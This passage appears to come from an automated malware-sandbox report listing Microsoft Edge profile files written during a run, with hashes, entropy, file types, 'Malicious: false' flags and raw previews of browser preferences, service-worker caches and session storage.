SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9745
Entropy (8bit):	5.111731514707979
Encrypted:	false
SSDEEP:	192:sthkdpOsP9sZihUkdhw8cbV+F2G3QA66WiTaFIMY+PjYJ:sthQOsP9fhObG2sQx6WiTaTY/
MD5:	13EB1014E7E85771B1DAAD77D84489B4
SHA1:	F87DE7BF981C6C686372823AD800113C773B7C19
SHA-256:	BE8C1D62C727F158DDDC114EE6116D2A571F886F7FA5842C01A789ABCA15D600
SHA-512:	6DE06031D7784FC7B46414169B4CC1BA3A82B82C6D708A2CDC2C53A949A334C4CCFDCB02516A63923CE5F5E8D1E92C682E52E005EF6A5A5BEAA5CCB3E4E6E07C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374704110296545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3e792.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9745
Entropy (8bit):	5.111731514707979
Encrypted:	false
SSDEEP:	192:sthkdpOsP9sZihUkdhw8cbV+F2G3QA66WiTaFIMY+PjYJ:sthQOsP9fhObG2sQx6WiTaTY/
MD5:	13EB1014E7E85771B1DAAD77D84489B4
SHA1:	F87DE7BF981C6C686372823AD800113C773B7C19
SHA-256:	BE8C1D62C727F158DDDC114EE6116D2A571F886F7FA5842C01A789ABCA15D600
SHA-512:	6DE06031D7784FC7B46414169B4CC1BA3A82B82C6D708A2CDC2C53A949A334C4CCFDCB02516A63923CE5F5E8D1E92C682E52E005EF6A5A5BEAA5CCB3E4E6E07C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374704110296545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF43360.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9745
Entropy (8bit):	5.111731514707979
Encrypted:	false
SSDEEP:	192:sthkdpOsP9sZihUkdhw8cbV+F2G3QA66WiTaFIMY+PjYJ:sthQOsP9fhObG2sQx6WiTaTY/
MD5:	13EB1014E7E85771B1DAAD77D84489B4
SHA1:	F87DE7BF981C6C686372823AD800113C773B7C19
SHA-256:	BE8C1D62C727F158DDDC114EE6116D2A571F886F7FA5842C01A789ABCA15D600
SHA-512:	6DE06031D7784FC7B46414169B4CC1BA3A82B82C6D708A2CDC2C53A949A334C4CCFDCB02516A63923CE5F5E8D1E92C682E52E005EF6A5A5BEAA5CCB3E4E6E07C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374704110296545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4a871.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9745
Entropy (8bit):	5.111731514707979
Encrypted:	false
SSDEEP:	192:sthkdpOsP9sZihUkdhw8cbV+F2G3QA66WiTaFIMY+PjYJ:sthQOsP9fhObG2sQx6WiTaTY/
MD5:	13EB1014E7E85771B1DAAD77D84489B4
SHA1:	F87DE7BF981C6C686372823AD800113C773B7C19
SHA-256:	BE8C1D62C727F158DDDC114EE6116D2A571F886F7FA5842C01A789ABCA15D600
SHA-512:	6DE06031D7784FC7B46414169B4CC1BA3A82B82C6D708A2CDC2C53A949A334C4CCFDCB02516A63923CE5F5E8D1E92C682E52E005EF6A5A5BEAA5CCB3E4E6E07C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374704110296545","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.565961107487984
Encrypted:	false
SSDEEP:	768:iE2RD/7pLGLpFIWPDXfET8F1+UoAYDCx9Tuqh0VfUC9xbog/OVxJSwI5Wrwm2pen:iE2RD5cpFIWPDXfETu1jawJSf5zmtN
MD5:	82DFBA88FF68C93EC6DE15492B48B089
SHA1:	B17D0A321DD350728FAB3B79A6E8407E1FA09BAF
SHA-256:	D73698BFD5EA3DCE0A9BE4FDCCD5B07E28027D8AE7D9F5E120DB07CD6E478FE5
SHA-512:	5649A875F773F21CADA6737D733C9A1F489E670986015FC89A0E83E68A633735BAE6ACA315AB1D313104085E81D4BC4F667BB87FF100D3152E1895130228CD73
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374704109549352","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374704109549352","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3e9d4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.565961107487984
Encrypted:	false
SSDEEP:	768:iE2RD/7pLGLpFIWPDXfET8F1+UoAYDCx9Tuqh0VfUC9xbog/OVxJSwI5Wrwm2pen:iE2RD5cpFIWPDXfETu1jawJSf5zmtN
MD5:	82DFBA88FF68C93EC6DE15492B48B089
SHA1:	B17D0A321DD350728FAB3B79A6E8407E1FA09BAF
SHA-256:	D73698BFD5EA3DCE0A9BE4FDCCD5B07E28027D8AE7D9F5E120DB07CD6E478FE5
SHA-512:	5649A875F773F21CADA6737D733C9A1F489E670986015FC89A0E83E68A633735BAE6ACA315AB1D313104085E81D4BC4F667BB87FF100D3152E1895130228CD73
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374704109549352","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374704109549352","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	5.852592339669516
Encrypted:	false
SSDEEP:	24:F2xc5Nm3cncmokCROulg2DMfRHr6b7CROulg2PVFuCROulg2DPRHr6bqqCROulgb:F2emYedDMfBr6qdPVFzdDPBr66dEBr6w
MD5:	0F3ABEC2729C713C188A271E51030589
SHA1:	2524E0792E70A0F62E301F0B17F76B1CF02EDBAB
SHA-256:	D4BB0F17313D331085798AF0950E4E47C3B13C8D3CF1E241ACD2376C8C868300
SHA-512:	B792278C337C511EF8F47D187E1060A2B0C405A6975E3E963A42D8A4E0D7B9F2419BB04FC15F34759EB87839D686F139BD2D78FB8A518653228CCE779564FB70
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2"...1................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.155770374540174
Encrypted:	false
SSDEEP:	6:taVmhq1923oH+TcwtE/a252KLlnRq2P923oH+TcwtE/a2ZIFUv:gV0fYeb8xLJRv4Yeb8J2FUv
MD5:	957D4AEFBB9B50573AE71583CDF69EE3
SHA1:	840ACE92AF6E12C06E01F230CA18407CC4D0233D
SHA-256:	01D27CE41666FE78B0A968F5B57E39279530A6539DF846FEACE5838C4885E40D
SHA-512:	3A08498DDF92C10D8A3D90D15FBB0A5800B246E545D72784B34A308500B804384FA47F68EFDAB4D4A87CE1D8E40994E2B71786FADFC9BE00317942363B6E1F4D
Malicious:	false
Preview:	2024/10/29-15:35:21.558 1040 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/29-15:35:21.585 1040 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113310
Entropy (8bit):	5.578928363467247
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NGIjn53vIZPiAL/r4L/rKd:59LyxPXfOxr1lMe1Z6rFJlv47L/ML/4
MD5:	B11AD3FF99D23AD47BB9CD52CD1DD6D5
SHA1:	BC0818786ADF2A8FEEB75FDE937DC0320989878B
SHA-256:	D85B6E17C787B4C9A4CBF78915A7E08D6107D0332F8331EC3790DEA4B7256C32
SHA-512:	D883532E1D3C3A3C3D0092CB4594429862F88A30E1199AF4EA3D85F478767C278F6AF81E6D6041E98BD70B5221A7552F658B71DE7D5B563A55E04939DF7EEF13
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187417
Entropy (8bit):	6.380734001171338
Encrypted:	false
SSDEEP:	3072:pmzBN04c05sGH7wlYQC+nVvYNDniO8ivwkUx4Ign4b8L/klcDEeiR:fOH7wlM0aVnKkUWj48L/kPv
MD5:	A76496B26EEE8F1724B5651B63F0FA0C
SHA1:	B7A96DBB0D69664CADBF252D88F18DA86A414BEB
SHA-256:	7E14FF44B269A1426D8085AB114C6A9064844EA0F0A45B28A5A189F3F003A021
SHA-512:	B9C348DAC13C29336EAA050536DE9D6688036ABBA009090B0694887E56C1D5E37B89D0E8A733BBB33C45F3AFDA06C21EC7C8270E22591DFC3A9C5D80FBB9B28F
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;.....x..........,T.8..`,.....L`.....,T...`......L`......Rcr.......exports...Rc...;....module....Rc.t.l....define....Rbr.p.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......Q.Q.M..l2.D...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=truea........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....Q...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4.........../...-..........\....-..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:f7cFQyXl/lkV/lxEwltcvCn:2kWQS6
MD5:	9D271F9576D00E8B4A285269D0AF692C
SHA1:	D9CC38B0155B2542FE57E3D01D61C6C1F436BA04
SHA-256:	4498A45F25EF47035B60BF4D224185B6C0A623F168EFADF5C6531828ADB44EBE
SHA-512:	A5E5A38570C86384931A4ABA08911281D37315657B58A5F1E838B611BF28B295F11CF36F8AFCF598CFAC988455C2FDE71071A01E8AAD64A8803EC89E37AEE4AE
Malicious:	false
Preview:	@...*A4.oy retne.........................X....,.................q9.8./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:f7cFQyXl/lkV/lxEwltcvCn:2kWQS6
MD5:	9D271F9576D00E8B4A285269D0AF692C
SHA1:	D9CC38B0155B2542FE57E3D01D61C6C1F436BA04
SHA-256:	4498A45F25EF47035B60BF4D224185B6C0A623F168EFADF5C6531828ADB44EBE
SHA-512:	A5E5A38570C86384931A4ABA08911281D37315657B58A5F1E838B611BF28B295F11CF36F8AFCF598CFAC988455C2FDE71071A01E8AAD64A8803EC89E37AEE4AE
Malicious:	false
Preview:	@...*A4.oy retne.........................X....,.................q9.8./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF4197f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:f7cFQyXl/lkV/lxEwltcvCn:2kWQS6
MD5:	9D271F9576D00E8B4A285269D0AF692C
SHA1:	D9CC38B0155B2542FE57E3D01D61C6C1F436BA04
SHA-256:	4498A45F25EF47035B60BF4D224185B6C0A623F168EFADF5C6531828ADB44EBE
SHA-512:	A5E5A38570C86384931A4ABA08911281D37315657B58A5F1E838B611BF28B295F11CF36F8AFCF598CFAC988455C2FDE71071A01E8AAD64A8803EC89E37AEE4AE
Malicious:	false
Preview:	@...*A4.oy retne.........................X....,.................q9.8./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5649
Entropy (8bit):	3.4372276803560733
Encrypted:	false
SSDEEP:	96:14VKU0g5SfrM1jpR6RH5ur5KgAD29FZ3+bfO+Lii/R1VF5YuLl9iSr/1ifj:Wt1c5Ah9L3+yci6/F5YuLl9iSr/o7
MD5:	70F1AB88BA90834A54DA5A003E31A2B0
SHA1:	53D68CED65E8CA6F1FD669FEE12199B877131EF4
SHA-256:	1BADB58F82B1BA8C076506A6BB89034F43A3FBE950035BC238C33C8B479CDCEE
SHA-512:	E01EE24B86BE0923750FE7FF2D77B945FEA9E08D6FE2616186CE84D0DADFB94077F6C9A8FA109FC459B44B266C2A56CD7DA17CFE13D7089ED07283EB261C78FE
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............C./Yb................next-map-id.1.Cnamespace-c20098de_4080_4e80_b77e_532c15588cec-https://ntp.msn.com/.0..MH.................map-0-shd_sweeper.){.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.e.h.p.s.b.t.q.s.t.,.p.r.g.-.h.p.-.d.i.s.p.o.l.l.,.a.d.s.-.c.b.v.4.2.-.9.0.0.-.t.u.n.e.1.,.a.d.s.-.c.b.v.4.2.-.9.0.0.,.s.i.d.-.n.e.w.-.c.l.i.d.,.s.i.d.-.w.1.-.a.d.d.g.n.o.i.s.e.,.s.i.d.-.w.3.-.a.d.d.g.n.o.i.s.e.,.s.i.d.a.m.o.-.w.1.-.u.n.i.-.s.t.a.g.e.-.1.,.s.i.d.a.m.o.-.w.3.-.u.n.i.-.s.t.a.g.e.-.1.,.p.n.p.w.e.a.t.o.d.a.y.,.p.r.g.-.l.o.c.k.-.m.i.t.-.c.,.s.h.s.t.r.3.c.c.v.,.p.r.g.-.s.h.-.s.h.s.t.r.3.c.a.r.,.p.r.g.-.s.h.-.s.h.s.t.r.n.c.c.v.,.i.c.r.s.c.a.l.l.-.s.p.o.r.t.s.,.p.r.g.-.1.s.w.-.s.a.q.g.p.t.e.n.f.i.x.t.2.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.c.,.p.r.e.p.r.g.-.1.s.w.-.s.a.l.3.r.m.b.a.g.b.7.u.,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.132056600699886
Encrypted:	false
SSDEEP:	6:fh9Q+q2P923oH+TcwtrQMxIFUt8UhomGAWZmw+UhcUhVkwO923oH+TcwtrQMFLJ:p9Q+v4YebCFUt8KhW/+KcUhV5LYebtJ
MD5:	0A7755059371FE8C14363C8EA42DBF4C
SHA1:	E8593B53F10A2CBC55E34B3552178E2D574C8380
SHA-256:	D9F7821913028FC805B09D861E5A2099ACB39C81A87DA7AD19101A140130432B
SHA-512:	D7BF757CD0A91F0A71295947E891455BAF4E243AAC4698105864909F150213CFCA744D9BBC88DB925DE49AD813B23773F017A2BCD8E6D61E14BC2A8A62C8AEBA
Malicious:	false
